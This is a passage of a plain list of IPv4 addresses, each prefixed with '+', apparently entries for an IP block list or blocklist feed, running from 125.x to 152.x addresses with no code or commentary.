+125.228.215.103 +125.228.215.41 +125.228.244.208 +125.228.246.119 +125.228.246.171 +125.228.249.53 +125.228.251.96 +125.228.28.11 +125.228.28.243 +125.228.28.244 +125.228.28.84 +125.228.29.151 +125.228.29.65 +125.228.29.90 +125.228.29.98 +125.228.30.211 +125.228.31.236 +125.228.31.29 +125.228.32.47 +125.228.33.148 +125.228.34.112 +125.228.34.240 +125.228.35.140 +125.228.35.198 +125.228.37.189 +125.228.37.39 +125.228.47.215 +125.228.47.45 +125.228.50.59 +125.228.60.234 +125.228.61.250 +125.228.78.230 +125.228.80.213 +125.228.85.185 +125.228.88.11 +125.228.88.193 +125.228.89.19 +125.228.90.144 +125.228.91.125 +125.228.91.149 +125.228.91.168 +125.228.91.234 +125.228.91.99 +125.228.94.11 +125.229.102.22 +125.229.112.207 +125.229.114.226 +125.229.114.24 +125.229.128.185 +125.229.128.79 +125.229.130.117 +125.229.130.146 +125.229.131.113 +125.229.131.34 +125.229.132.253 +125.229.133.2 +125.229.136.194 +125.229.139.46 +125.229.146.44 +125.229.150.114 +125.229.151.234 +125.229.151.47 +125.229.164.158 +125.229.164.48 +125.229.164.67 +125.229.174.39 +125.229.176.227 +125.229.177.134 +125.229.177.167 +125.229.178.135 +125.229.179.176 +125.229.179.205 +125.229.179.210 +125.229.18.252 +125.229.18.6 +125.229.18.81 +125.229.18.91 +125.229.185.90 +125.229.188.231 +125.229.189.113 +125.229.189.58 +125.229.19.146 +125.229.19.152 +125.229.19.52 +125.229.190.28 +125.229.191.58 +125.229.195.249 +125.229.200.129 +125.229.202.160 +125.229.202.174 +125.229.216.128 +125.229.22.168 +125.229.220.56 +125.229.222.137 +125.229.224.226 +125.229.225.159 +125.229.225.33 +125.229.226.215 +125.229.227.126 +125.229.228.132 +125.229.228.155 +125.229.230.134 +125.229.232.221 +125.229.237.146 +125.229.239.144 +125.229.240.117 +125.229.240.5 +125.229.241.20 +125.229.241.45 +125.229.242.80 +125.229.243.163 +125.229.244.119 +125.229.245.213 +125.229.247.110 +125.229.247.132 +125.229.247.222 +125.229.247.57 +125.229.248.189 +125.229.248.67 +125.229.249.15 +125.229.249.171 +125.229.251.102 +125.229.251.24 +125.229.252.183 +125.229.30.245 +125.229.30.76 +125.229.31.198 +125.229.31.216 +125.229.4.249 +125.229.4.85 +125.229.42.150 +125.229.42.67 +125.229.51.231 +125.229.52.69 +125.229.55.251 +125.229.65.149 +125.229.68.139 +125.229.70.71 +125.229.79.101 +125.229.79.112 +125.229.79.63 +125.229.8.30 +125.229.88.245 +125.229.89.163 +125.229.90.125 +125.229.90.37 +125.229.90.38 +125.229.91.159 +125.229.94.56 +125.229.97.49 +125.23.204.106 +125.230.11.209 +125.230.136.55 +125.230.148.74 +125.230.158.153 +125.230.16.128 +125.230.17.149 +125.230.199.102 +125.230.20.153 +125.230.23.94 +125.230.232.217 +125.230.24.60 +125.230.24.68 +125.230.66.42 +125.231.168.230 +125.231.200.164 +125.231.24.32 +125.237.14.114 +125.244.92.206 +125.25.45.142 +125.250.204.69 +125.26.15.28 +125.26.69.207 +125.32.113.82 +125.34.88.93 +125.35.109.214 +125.40.75.234 +125.59.128.76 +125.59.45.4 +125.59.9.138 +125.62.193.147 +125.62.214.218 +125.63.95.236 +125.67.61.202 +125.69.76.148 +125.72.128.218 +125.72.194.250 +125.72.54.155 +125.72.54.81 +125.72.92.174 +125.74.148.176 +125.74.29.106 +125.76.228.194 +125.77.131.8 +125.88.169.233 +125.88.207.126 +125.88.207.33 +125.88.220.138 +125.88.232.82 +125.88.234.144 +125.88.239.33 +125.88.241.99 +125.91.33.72 +125.91.34.106 +125.92.107.194 +125.94.71.207 +125.99.173.162 +125.99.43.6 +126.119.170.215 +126.217.207.22 +126.74.59.94 +126.85.159.95 +128.0.27.243 +128.1.132.138 +128.1.136.167 +128.1.33.49 +128.1.33.94 +128.1.43.230 +128.1.44.38 +128.106.136.40 +128.106.196.150 +128.116.146.157 +128.134.103.171 +128.134.17.56 +128.134.23.16 +128.134.26.179 +128.134.94.201 +128.14.11.251 +128.14.117.119 +128.14.129.10 +128.14.153.234 +128.14.159.250 +128.14.159.251 +128.14.159.252 +128.14.159.253 +128.14.173.115 +128.14.173.116 +128.14.173.117 +128.14.173.122 +128.14.173.124 +128.14.173.90 +128.14.173.91 +128.14.173.92 +128.14.173.93 +128.14.173.99 +128.14.188.101 +128.14.188.98 +128.14.188.99 +128.14.209.22 +128.14.209.26 +128.14.209.30 +128.14.209.34 +128.14.209.38 +128.14.209.42 +128.14.209.46 +128.14.211.186 +128.14.211.190 +128.14.227.37 +128.14.231.118 +128.14.231.139 +128.14.231.72 +128.14.236.128 +128.14.237.9 +128.14.239.217 +128.14.239.38 +128.14.239.39 +128.14.83.42 +128.14.83.43 +128.14.83.45 +128.199.118.234 +128.199.121.255 +128.199.125.66 +128.199.148.185 +128.199.148.52 +128.199.157.145 +128.199.163.83 +128.199.168.119 +128.199.17.112 +128.199.170.107 +128.199.182.19 +128.199.183.223 +128.199.188.253 +128.199.190.48 +128.199.194.1 +128.199.20.225 +128.199.202.11 +128.199.214.193 +128.199.217.163 +128.199.224.125 +128.199.225.7 +128.199.23.120 +128.199.23.212 +128.199.249.114 +128.199.25.46 +128.199.255.180 +128.199.30.150 +128.199.30.174 +128.199.31.18 +128.199.31.26 +128.199.33.46 +128.199.34.14 +128.199.45.85 +128.199.5.115 +128.199.56.51 +128.199.65.63 +128.199.7.157 +128.199.70.247 +128.199.73.168 +128.199.77.221 +128.199.95.135 +128.199.95.60 +128.199.97.19 +128.201.233.170 +128.201.233.34 +128.201.78.253 +128.27.54.169 +128.28.27.15 +128.28.28.78 +129.126.117.32 +129.126.207.65 +129.146.148.173 +129.146.26.210 +129.146.37.6 +129.150.180.148 +129.205.124.253 +129.213.150.89 +129.213.226.156 +129.222.50.164 +129.222.69.208 +13.210.68.115 +13.40.120.109 +13.40.149.207 +13.55.5.79 +13.58.97.162 +13.59.91.49 +13.64.107.143 +13.64.107.162 +13.64.107.205 +13.64.108.135 +13.64.108.189 +13.64.108.199 +13.64.108.228 +13.64.108.30 +13.64.109.6 +13.64.111.114 +13.64.111.117 +13.64.111.31 +13.64.192.122 +13.64.192.170 +13.64.192.213 +13.64.192.68 +13.64.193.117 +13.64.193.146 +13.64.193.159 +13.64.193.184 +13.64.193.54 +13.64.193.6 +13.64.193.60 +13.64.193.76 +13.64.194.101 +13.64.194.170 +13.64.194.18 +13.64.194.207 +13.64.194.45 +13.64.194.47 +13.64.195.51 +13.64.196.206 +13.64.197.252 +13.64.198.255 +13.64.199.142 +13.64.199.167 +13.64.239.166 +13.64.251.246 +13.64.50.49 +13.64.51.72 +13.64.55.180 +13.67.78.117 +13.68.209.119 +13.70.39.68 +13.71.103.212 +13.74.176.27 +13.74.181.28 +13.77.146.18 +13.79.152.15 +13.79.153.224 +13.79.156.152 +13.79.158.21 +13.79.159.60 +13.79.191.26 +13.83.129.98 +13.83.40.178 +13.83.41.194 +13.83.41.252 +13.83.41.58 +13.83.41.6 +13.83.41.98 +13.83.42.172 +13.83.42.182 +13.83.42.216 +13.83.43.199 +13.83.43.246 +13.83.43.70 +13.83.43.77 +13.83.43.8 +13.83.43.95 +13.83.47.60 +13.83.50.183 +13.83.55.125 +13.87.128.189 +13.87.128.32 +13.87.132.36 +13.87.132.43 +13.87.132.70 +13.87.188.178 +13.87.242.23 +13.88.158.175 +13.88.19.25 +13.88.4.164 +13.88.8.154 +13.91.164.0 +13.91.164.15 +13.91.164.74 +13.91.164.9 +13.91.165.193 +13.91.165.194 +13.91.165.212 +13.91.165.214 +13.91.165.237 +13.91.165.251 +13.91.165.36 +13.91.165.51 +13.91.165.58 +13.91.165.67 +13.91.165.91 +13.91.166.30 +13.91.166.38 +13.91.166.67 +13.91.176.58 +13.91.177.235 +13.91.179.102 +13.91.179.103 +13.91.179.162 +13.91.179.188 +13.91.180.105 +13.91.180.106 +13.91.180.110 +13.91.181.242 +13.91.182.170 +13.91.217.1 +13.91.224.20 +13.91.226.27 +13.91.241.241 +13.91.244.165 +13.91.244.202 +13.91.41.168 +13.91.50.116 +13.91.82.220 +13.93.228.114 +13.93.234.212 +130.0.44.148 +130.117.181.252 +130.162.167.173 +130.162.214.127 +130.162.47.239 +130.180.53.198 +130.180.77.106 +130.185.101.86 +130.25.106.27 +130.25.247.102 +130.25.5.51 +130.61.102.110 +130.61.145.232 +130.61.147.143 +130.61.183.18 +130.61.207.209 +131.0.36.22 +131.106.31.52 +131.108.28.14 +131.161.184.58 +131.161.84.97 +131.196.22.197 +131.221.172.29 +131.221.236.23 +131.72.116.192 +132.145.74.179 +132.147.158.168 +132.148.148.190 +132.148.165.220 +132.148.75.0 +132.232.3.161 +132.248.204.88 +132.248.99.18 +133.125.58.171 +133.175.154.200 +133.18.171.96 +133.207.201.128 +133.232.72.180 +133.232.91.208 +134.122.103.153 +134.122.106.248 +134.122.108.129 +134.122.108.60 +134.122.15.228 +134.122.25.72 +134.122.30.157 +134.122.32.119 +134.122.33.75 +134.122.39.63 +134.122.42.76 +134.122.46.254 +134.122.58.72 +134.122.64.16 +134.122.8.241 +134.122.83.229 +134.19.147.40 +134.19.179.131 +134.19.179.235 +134.204.2.204 +134.209.100.10 +134.209.104.12 +134.209.125.223 +134.209.150.62 +134.209.151.94 +134.209.153.249 +134.209.154.24 +134.209.160.117 +134.209.162.179 +134.209.168.219 +134.209.187.198 +134.209.211.135 +134.209.213.217 +134.209.222.136 +134.209.229.82 +134.209.232.162 +134.209.249.86 +134.209.25.199 +134.209.250.243 +134.209.27.56 +134.209.28.146 +134.209.31.52 +134.209.35.33 +134.209.47.123 +134.209.56.3 +134.209.61.0 +134.209.63.213 +134.209.70.45 +134.209.71.91 +134.209.90.118 +134.209.95.237 +134.215.66.35 +134.22.116.38 +134.249.139.213 +134.249.161.135 +134.249.218.90 +134.90.188.171 +135.0.208.122 +135.125.107.75 +135.125.133.180 +135.125.161.64 +135.125.233.57 +135.125.234.215 +135.125.237.118 +135.125.238.48 +135.148.10.161 +135.148.10.163 +135.148.10.165 +135.148.10.167 +135.148.10.168 +135.148.10.170 +135.148.10.172 +135.148.10.173 +135.148.10.174 +135.148.100.196 +135.148.208.49 +135.148.213.240 +135.148.213.241 +135.148.213.243 +135.148.213.244 +135.148.213.245 +135.148.213.246 +135.148.213.247 +135.148.213.248 +135.148.213.249 +135.148.213.250 +135.148.213.252 +135.148.213.253 +135.148.213.255 +135.148.25.113 +135.148.25.115 +135.148.25.117 +135.148.25.119 +135.148.25.120 +135.148.25.124 +135.148.25.125 +135.181.192.239 +135.26.75.128 +136.185.21.209 +136.185.8.92 +136.228.161.66 +136.232.11.10 +136.232.203.134 +136.232.73.130 +136.232.98.230 +136.24.37.18 +136.32.29.219 +136.34.203.130 +136.38.117.12 +136.38.202.60 +136.62.43.42 +137.135.74.115 +137.135.96.213 +137.184.0.177 +137.184.104.100 +137.184.104.219 +137.184.105.192 +137.184.116.114 +137.184.119.247 +137.184.12.175 +137.184.126.78 +137.184.13.100 +137.184.131.39 +137.184.133.129 +137.184.178.6 +137.184.179.251 +137.184.180.36 +137.184.181.162 +137.184.186.156 +137.184.187.17 +137.184.196.6 +137.184.202.107 +137.184.206.79 +137.184.210.89 +137.184.219.87 +137.184.222.158 +137.184.223.20 +137.184.226.250 +137.184.227.70 +137.184.230.16 +137.184.233.132 +137.184.235.67 +137.184.236.70 +137.184.237.203 +137.184.30.19 +137.184.48.100 +137.184.52.178 +137.184.69.215 +137.184.71.110 +137.184.71.55 +137.184.74.14 +137.184.76.77 +137.184.85.24 +137.184.88.74 +137.184.92.227 +137.184.95.154 +137.186.242.99 +137.220.191.181 +137.220.191.188 +137.220.191.189 +137.220.202.57 +137.220.228.87 +137.220.251.8 +137.220.93.140 +137.220.93.141 +137.27.128.54 +137.59.110.109 +137.63.246.74 +137.74.151.69 +137.74.194.140 +137.74.196.105 +137.74.239.144 +137.74.239.145 +137.74.239.146 +137.74.239.147 +137.74.239.148 +137.74.239.149 +137.74.239.150 +137.74.239.151 +137.74.239.152 +137.74.239.153 +137.74.239.154 +137.74.239.156 +137.74.239.157 +137.74.239.158 +137.74.239.159 +137.74.4.50 +138.118.204.33 +138.118.4.168 +138.124.182.43 +138.128.245.84 +138.186.174.166 +138.19.52.228 +138.19.71.71 +138.197.101.95 +138.197.102.26 +138.197.118.33 +138.197.132.161 +138.197.15.3 +138.197.154.97 +138.197.163.199 +138.197.170.166 +138.197.188.30 +138.197.188.54 +138.197.199.230 +138.197.207.121 +138.197.6.223 +138.197.6.253 +138.197.88.73 +138.197.90.222 +138.2.165.244 +138.204.127.54 +138.229.142.29 +138.36.221.191 +138.36.241.18 +138.59.177.70 +138.59.181.31 +138.68.1.237 +138.68.101.113 +138.68.105.55 +138.68.106.58 +138.68.108.201 +138.68.131.163 +138.68.143.68 +138.68.161.96 +138.68.185.126 +138.68.19.125 +138.68.22.30 +138.68.225.240 +138.68.249.116 +138.68.250.220 +138.68.43.106 +138.68.43.8 +138.68.45.135 +138.68.5.48 +138.68.71.68 +138.68.79.186 +138.68.88.167 +138.68.90.117 +138.68.99.33 +138.75.192.20 +138.75.196.244 +138.75.76.20 +138.84.41.252 +138.84.45.101 +138.94.203.238 +138.99.6.74 +139.135.152.197 +139.144.239.74 +139.144.239.78 +139.144.52.241 +139.150.69.56 +139.162.190.203 +139.170.141.143 +139.170.141.163 +139.170.141.179 +139.170.141.195 +139.170.221.253 +139.170.221.254 +139.170.229.44 +139.170.234.121 +139.177.201.215 +139.19.117.129 +139.19.117.130 +139.19.117.131 +139.19.117.197 +139.196.112.197 +139.196.231.89 +139.196.75.248 +139.198.124.249 +139.198.9.32 +139.199.181.91 +139.210.189.107 +139.214.251.14 +139.214.92.142 +139.224.247.211 +139.226.191.41 +139.226.78.145 +139.227.252.149 +139.55.55.253 +139.59.10.188 +139.59.10.99 +139.59.101.197 +139.59.113.156 +139.59.114.162 +139.59.120.249 +139.59.127.178 +139.59.142.156 +139.59.147.83 +139.59.153.233 +139.59.170.85 +139.59.18.138 +139.59.18.69 +139.59.181.162 +139.59.182.108 +139.59.188.13 +139.59.19.217 +139.59.190.26 +139.59.20.119 +139.59.226.77 +139.59.234.69 +139.59.245.64 +139.59.27.154 +139.59.27.59 +139.59.30.174 +139.59.31.108 +139.59.33.204 +139.59.36.72 +139.59.37.187 +139.59.4.122 +139.59.42.255 +139.59.46.156 +139.59.56.53 +139.59.58.140 +139.59.6.118 +139.59.64.179 +139.59.71.17 +139.59.74.62 +139.59.90.176 +139.59.94.66 +139.84.135.239 +139.84.152.178 +139.9.88.194 +139.99.161.252 +139.99.54.173 +14.102.74.99 +14.102.93.128 +14.103.115.123 +14.103.115.137 +14.103.127.2 +14.103.39.179 +14.103.52.218 +14.103.60.159 +14.103.70.121 +14.103.92.40 +14.116.156.100 +14.116.158.134 +14.116.159.142 +14.116.185.13 +14.116.191.130 +14.116.200.5 +14.116.218.146 +14.116.221.51 +14.128.55.133 +14.128.55.253 +14.136.45.161 +14.139.216.56 +14.139.217.172 +14.143.255.40 +14.143.255.43 +14.153.216.126 +14.154.48.34 +14.160.23.45 +14.161.25.97 +14.161.4.115 +14.162.145.33 +14.172.237.168 +14.172.44.158 +14.177.239.168 +14.177.75.242 +14.18.105.120 +14.18.113.233 +14.18.118.73 +14.18.41.74 +14.18.50.41 +14.18.61.201 +14.19.143.61 +14.192.192.70 +14.194.116.93 +14.199.52.62 +14.212.132.81 +14.215.120.90 +14.225.19.18 +14.225.192.53 +14.225.203.60 +14.225.205.149 +14.225.254.35 +14.23.77.27 +14.231.160.19 +14.241.187.124 +14.241.225.123 +14.241.229.103 +14.241.232.162 +14.248.90.193 +14.29.118.200 +14.29.129.250 +14.29.129.81 +14.29.140.214 +14.29.142.199 +14.29.167.40 +14.29.170.148 +14.29.180.133 +14.29.185.190 +14.29.198.130 +14.29.199.138 +14.29.204.194 +14.29.214.161 +14.29.214.89 +14.29.234.137 +14.29.238.151 +14.29.240.154 +14.29.99.183 +14.33.17.28 +14.33.82.218 +14.33.93.214 +14.33.96.3 +14.33.96.4 +14.34.157.138 +14.34.197.16 +14.36.113.112 +14.36.202.36 +14.37.125.43 +14.37.206.76 +14.37.6.143 +14.38.13.57 +14.39.107.55 +14.39.109.244 +14.39.110.172 +14.39.166.26 +14.39.170.5 +14.39.203.63 +14.39.41.171 +14.40.110.96 +14.40.8.125 +14.41.41.164 +14.43.79.195 +14.44.97.67 +14.45.217.249 +14.46.100.199 +14.46.62.83 +14.47.198.234 +14.47.3.221 +14.49.138.103 +14.49.149.159 +14.49.199.34 +14.50.131.36 +14.50.17.15 +14.52.57.180 +14.54.144.108 +14.54.22.11 +14.55.47.55 +14.56.193.140 +14.58.14.151 +14.6.16.137 +14.6.185.28 +14.6.81.179 +14.63.160.31 +14.63.162.98 +14.63.165.16 +14.63.169.169 +14.63.196.175 +14.63.212.219 +14.63.217.28 +14.63.221.137 +14.63.25.124 +14.88.228.202 +14.97.11.58 +14.97.150.35 +14.98.171.130 +14.99.254.18 +14.99.66.28 +140.143.143.246 +140.143.165.16 +140.186.12.87 +140.206.168.98 +140.210.212.121 +140.238.68.15 +140.245.57.193 +140.246.103.212 +140.246.124.160 +140.246.126.41 +140.246.127.23 +140.246.130.145 +140.246.137.102 +140.246.150.237 +140.246.178.147 +140.246.204.127 +140.246.215.136 +140.246.220.223 +140.246.228.50 +140.246.242.244 +140.246.35.87 +140.246.40.121 +140.246.79.129 +140.246.81.86 +140.246.82.87 +140.246.85.89 +140.246.85.97 +140.246.92.156 +140.246.98.53 +140.249.163.153 +140.249.18.219 +140.249.210.205 +140.249.218.54 +140.249.55.134 +140.84.175.241 +140.86.12.31 +140.86.39.162 +141.0.242.60 +141.144.250.211 +141.147.39.205 +141.94.106.15 +141.94.115.212 +141.94.23.12 +141.94.244.228 +141.94.246.192 +141.94.26.113 +141.95.127.209 +141.95.136.87 +141.95.162.177 +141.95.174.15 +141.98.10.12 +141.98.10.157 +141.98.11.128 +141.98.11.154 +141.98.11.167 +141.98.11.67 +141.98.210.31 +142.129.72.10 +142.171.88.238 +142.255.57.82 +142.4.195.146 +142.4.2.25 +142.44.162.161 +142.44.241.112 +142.44.247.114 +142.59.214.21 +142.59.214.66 +142.93.111.192 +142.93.116.14 +142.93.119.30 +142.93.119.8 +142.93.13.232 +142.93.16.49 +142.93.166.65 +142.93.168.92 +142.93.169.212 +142.93.17.173 +142.93.191.180 +142.93.191.98 +142.93.20.8 +142.93.210.126 +142.93.212.146 +142.93.222.12 +142.93.24.103 +142.93.241.253 +142.93.3.226 +142.93.82.139 +143.0.85.176 +143.110.135.231 +143.110.146.3 +143.110.150.27 +143.110.153.175 +143.110.161.249 +143.110.170.224 +143.110.174.82 +143.110.178.185 +143.110.184.14 +143.110.187.188 +143.110.193.166 +143.110.193.167 +143.110.233.79 +143.110.237.160 +143.110.243.70 +143.110.246.105 +143.110.249.252 +143.110.249.40 +143.110.250.108 +143.110.250.109 +143.110.251.148 +143.110.253.119 +143.110.255.146 +143.170.150.124 +143.170.93.237 +143.198.110.212 +143.198.115.111 +143.198.121.202 +143.198.123.93 +143.198.143.158 +143.198.145.136 +143.198.146.239 +143.198.175.104 +143.198.197.156 +143.198.200.56 +143.198.209.18 +143.198.238.77 +143.198.30.148 +143.198.54.237 +143.198.82.205 +143.198.87.153 +143.198.90.189 +143.198.91.197 +143.202.209.23 +143.202.210.210 +143.244.132.233 +143.244.139.242 +143.244.150.76 +143.244.159.12 +143.244.160.172 +143.244.162.6 +143.244.164.133 +143.244.167.116 +143.244.167.150 +143.244.168.79 +143.244.174.106 +143.244.175.101 +143.255.142.205 +143.255.180.128 +143.42.0.20 +143.42.1.123 +143.42.1.189 +143.42.1.201 +143.42.1.44 +143.42.164.34 +143.42.164.97 +143.42.173.101 +143.42.206.215 +143.55.131.145 +143.64.168.136 +143.92.32.210 +143.92.40.202 +143.92.58.21 +144.126.159.131 +144.126.192.64 +144.126.195.62 +144.126.197.43 +144.126.212.130 +144.126.222.68 +144.126.225.36 +144.126.229.46 +144.132.209.144 +144.134.110.212 +144.21.89.219 +144.217.13.134 +144.217.84.62 +144.22.63.88 +144.24.124.167 +144.24.185.38 +144.24.221.197 +144.34.212.238 +144.48.74.249 +144.91.122.229 +144.91.77.225 +145.239.10.137 +145.239.199.62 +145.239.255.60 +145.239.85.111 +145.249.247.169 +145.255.19.194 +146.0.121.234 +146.120.230.131 +146.168.56.95 +146.185.164.25 +146.185.183.107 +146.190.102.143 +146.190.104.244 +146.190.117.104 +146.190.119.107 +146.190.119.114 +146.190.119.189 +146.190.124.109 +146.190.124.79 +146.190.125.140 +146.190.136.122 +146.190.149.148 +146.190.150.119 +146.190.152.79 +146.190.157.91 +146.190.158.178 +146.190.174.211 +146.190.213.142 +146.190.231.1 +146.190.24.254 +146.190.241.56 +146.190.241.66 +146.190.241.71 +146.190.241.72 +146.190.244.135 +146.190.244.91 +146.190.27.210 +146.190.50.226 +146.190.57.24 +146.190.58.16 +146.190.60.168 +146.190.67.201 +146.190.74.59 +146.190.77.158 +146.190.92.189 +146.190.98.146 +146.255.254.114 +146.56.201.108 +146.59.127.25 +146.59.228.24 +146.59.230.1 +146.59.233.61 +146.59.250.225 +146.59.80.142 +146.70.160.222 +146.70.184.34 +146.70.184.38 +146.70.192.110 +146.70.76.114 +146.70.76.98 +146.71.50.196 +146.71.50.198 +146.88.240.21 +146.88.241.122 +146.88.241.189 +146.88.241.194 +146.88.241.211 +146.88.241.27 +146.88.241.38 +146.88.241.43 +146.88.241.72 +147.135.23.100 +147.135.23.101 +147.135.23.102 +147.135.23.103 +147.135.23.104 +147.135.23.106 +147.135.23.107 +147.135.23.108 +147.135.23.109 +147.135.23.111 +147.135.23.96 +147.135.23.97 +147.135.23.98 +147.135.23.99 +147.135.255.8 +147.139.141.27 +147.139.164.196 +147.182.140.141 +147.182.143.204 +147.182.144.84 +147.182.162.48 +147.182.170.34 +147.182.178.216 +147.182.202.179 +147.182.215.96 +147.182.225.86 +147.182.230.18 +147.182.241.81 +147.182.243.103 +147.182.247.10 +147.185.132.10 +147.185.132.100 +147.185.132.102 +147.185.132.103 +147.185.132.105 +147.185.132.106 +147.185.132.107 +147.185.132.108 +147.185.132.109 +147.185.132.111 +147.185.132.112 +147.185.132.114 +147.185.132.115 +147.185.132.117 +147.185.132.118 +147.185.132.12 +147.185.132.120 +147.185.132.123 +147.185.132.126 +147.185.132.127 +147.185.132.129 +147.185.132.13 +147.185.132.131 +147.185.132.132 +147.185.132.133 +147.185.132.135 +147.185.132.138 +147.185.132.139 +147.185.132.141 +147.185.132.144 +147.185.132.147 +147.185.132.149 +147.185.132.15 +147.185.132.150 +147.185.132.151 +147.185.132.153 +147.185.132.154 +147.185.132.155 +147.185.132.156 +147.185.132.159 +147.185.132.16 +147.185.132.160 +147.185.132.161 +147.185.132.162 +147.185.132.165 +147.185.132.167 +147.185.132.168 +147.185.132.171 +147.185.132.173 +147.185.132.174 +147.185.132.175 +147.185.132.177 +147.185.132.18 +147.185.132.180 +147.185.132.183 +147.185.132.186 +147.185.132.189 +147.185.132.19 +147.185.132.190 +147.185.132.192 +147.185.132.195 +147.185.132.196 +147.185.132.198 +147.185.132.200 +147.185.132.201 +147.185.132.204 +147.185.132.207 +147.185.132.21 +147.185.132.210 +147.185.132.213 +147.185.132.215 +147.185.132.216 +147.185.132.217 +147.185.132.218 +147.185.132.219 +147.185.132.22 +147.185.132.220 +147.185.132.222 +147.185.132.223 +147.185.132.224 +147.185.132.225 +147.185.132.227 +147.185.132.228 +147.185.132.230 +147.185.132.231 +147.185.132.234 +147.185.132.235 +147.185.132.237 +147.185.132.238 +147.185.132.24 +147.185.132.240 +147.185.132.241 +147.185.132.243 +147.185.132.245 +147.185.132.246 +147.185.132.249 +147.185.132.25 +147.185.132.250 +147.185.132.252 +147.185.132.255 +147.185.132.27 +147.185.132.28 +147.185.132.29 +147.185.132.30 +147.185.132.31 +147.185.132.33 +147.185.132.34 +147.185.132.36 +147.185.132.37 +147.185.132.38 +147.185.132.39 +147.185.132.40 +147.185.132.42 +147.185.132.43 +147.185.132.45 +147.185.132.46 +147.185.132.48 +147.185.132.49 +147.185.132.51 +147.185.132.52 +147.185.132.53 +147.185.132.54 +147.185.132.55 +147.185.132.56 +147.185.132.57 +147.185.132.58 +147.185.132.59 +147.185.132.60 +147.185.132.61 +147.185.132.63 +147.185.132.64 +147.185.132.66 +147.185.132.67 +147.185.132.69 +147.185.132.70 +147.185.132.71 +147.185.132.72 +147.185.132.73 +147.185.132.74 +147.185.132.75 +147.185.132.76 +147.185.132.78 +147.185.132.79 +147.185.132.81 +147.185.132.82 +147.185.132.83 +147.185.132.84 +147.185.132.85 +147.185.132.87 +147.185.132.88 +147.185.132.89 +147.185.132.9 +147.185.132.90 +147.185.132.91 +147.185.132.93 +147.185.132.94 +147.185.132.95 +147.185.132.96 +147.185.132.97 +147.185.132.99 +147.185.133.102 +147.185.133.108 +147.185.133.11 +147.185.133.116 +147.185.133.118 +147.185.133.119 +147.185.133.121 +147.185.133.123 +147.185.133.124 +147.185.133.126 +147.185.133.128 +147.185.133.131 +147.185.133.135 +147.185.133.136 +147.185.133.140 +147.185.133.142 +147.185.133.143 +147.185.133.146 +147.185.133.147 +147.185.133.148 +147.185.133.154 +147.185.133.156 +147.185.133.16 +147.185.133.164 +147.185.133.165 +147.185.133.166 +147.185.133.168 +147.185.133.169 +147.185.133.172 +147.185.133.174 +147.185.133.178 +147.185.133.18 +147.185.133.182 +147.185.133.189 +147.185.133.190 +147.185.133.192 +147.185.133.196 +147.185.133.2 +147.185.133.200 +147.185.133.201 +147.185.133.203 +147.185.133.206 +147.185.133.213 +147.185.133.220 +147.185.133.223 +147.185.133.225 +147.185.133.229 +147.185.133.231 +147.185.133.232 +147.185.133.239 +147.185.133.247 +147.185.133.248 +147.185.133.249 +147.185.133.251 +147.185.133.254 +147.185.133.37 +147.185.133.40 +147.185.133.42 +147.185.133.43 +147.185.133.45 +147.185.133.51 +147.185.133.55 +147.185.133.58 +147.185.133.6 +147.185.133.60 +147.185.133.63 +147.185.133.68 +147.185.133.69 +147.185.133.70 +147.185.133.77 +147.185.133.78 +147.185.133.79 +147.185.133.80 +147.185.133.81 +147.185.133.82 +147.185.133.85 +147.185.133.86 +147.185.133.87 +147.235.229.60 +147.235.97.158 +147.45.112.147 +147.45.112.151 +147.45.112.158 +147.45.112.17 +147.45.112.177 +147.45.112.222 +147.45.112.6 +147.45.112.8 +147.45.164.89 +147.45.40.218 +147.45.68.194 +147.45.77.165 +147.50.103.212 +147.50.227.79 +147.50.252.225 +147.78.47.176 +147.78.47.250 +148.102.49.125 +148.113.15.212 +148.135.35.74 +148.153.34.230 +148.216.54.17 +148.66.132.190 +148.66.132.204 +148.66.133.188 +148.72.207.110 +148.72.211.177 +148.72.244.39 +148.72.246.251 +148.72.247.134 +148.72.64.32 +148.74.148.131 +149.102.136.20 +149.106.144.247 +149.106.247.157 +149.12.122.69 +149.129.122.57 +149.129.249.160 +149.129.67.202 +149.143.58.250 +149.202.243.136 +149.34.253.147 +149.40.4.214 +149.54.15.162 +149.54.22.102 +149.54.22.132 +149.54.33.178 +149.62.244.250 +149.78.186.161 +149.88.90.212 +15.204.238.148 +15.204.37.28 +15.220.83.130 +15.235.143.116 +15.235.163.70 +15.235.184.198 +15.235.185.2 +15.235.186.172 +15.235.2.68 +15.235.203.167 +15.235.206.113 +150.107.142.34 +150.107.204.146 +150.109.244.181 +150.109.247.24 +150.116.166.226 +150.117.19.114 +150.136.129.10 +150.138.115.76 +150.139.200.161 +150.139.201.247 +150.140.164.217 +150.158.122.139 +150.158.3.198 +150.158.31.194 +150.158.89.64 +150.185.5.5 +150.223.20.12 +150.223.61.89 +150.241.68.241 +150.241.71.228 +150.241.75.67 +150.241.88.28 +150.242.201.23 +150.242.98.75 +150.32.13.51 +150.32.13.52 +150.32.13.53 +150.9.198.25 +150.95.145.14 +150.95.183.194 +150.95.81.51 +150.95.83.195 +151.0.209.197 +151.177.121.149 +151.177.150.29 +151.177.202.102 +151.177.21.229 +151.177.25.108 +151.19.231.36 +151.192.194.233 +151.192.194.42 +151.225.102.69 +151.237.73.6 +151.251.200.67 +151.252.188.11 +151.252.84.225 +151.38.110.250 +151.43.62.131 +151.49.249.250 +151.56.180.83 +151.67.108.220 +151.73.1.172 +151.80.118.222 +151.80.144.233 +151.80.146.76 +151.80.148.159 +151.80.61.151 +151.80.91.211 +151.80.91.214 +151.80.91.219 +151.80.91.220 +151.80.91.223 +151.83.174.106 +151.84.113.153 +152.168.201.202 +152.200.181.42 +152.228.128.55 +152.228.131.33 +152.228.164.249 +152.228.219.86 +152.228.228.75 +152.230.95.44 +152.32.128.149 +152.32.128.169 +152.32.128.204 +152.32.128.85 +152.32.129.154 +152.32.130.155 +152.32.130.191 +152.32.132.203 +152.32.133.103 +152.32.133.149 +152.32.134.156 +152.32.134.166 +152.32.134.89 +152.32.135.214 +152.32.135.48 +152.32.135.81 +152.32.138.187 +152.32.139.190 +152.32.139.9 +152.32.139.96 +152.32.140.12 +152.32.140.198 +152.32.140.206 +152.32.140.218 +152.32.140.22 +152.32.141.172 +152.32.141.176 +152.32.141.199 +152.32.141.202 +152.32.141.217 +152.32.141.40 +152.32.141.86 +152.32.141.9 +152.32.141.98 +152.32.142.165 +152.32.142.86 +152.32.143.189 +152.32.143.6 +152.32.143.71 +152.32.147.9 +152.32.148.140 +152.32.148.250 +152.32.149.178 +152.32.149.19 +152.32.149.47 +152.32.150.117 +152.32.150.29 +152.32.150.7 +152.32.151.121 +152.32.151.128 +152.32.153.148 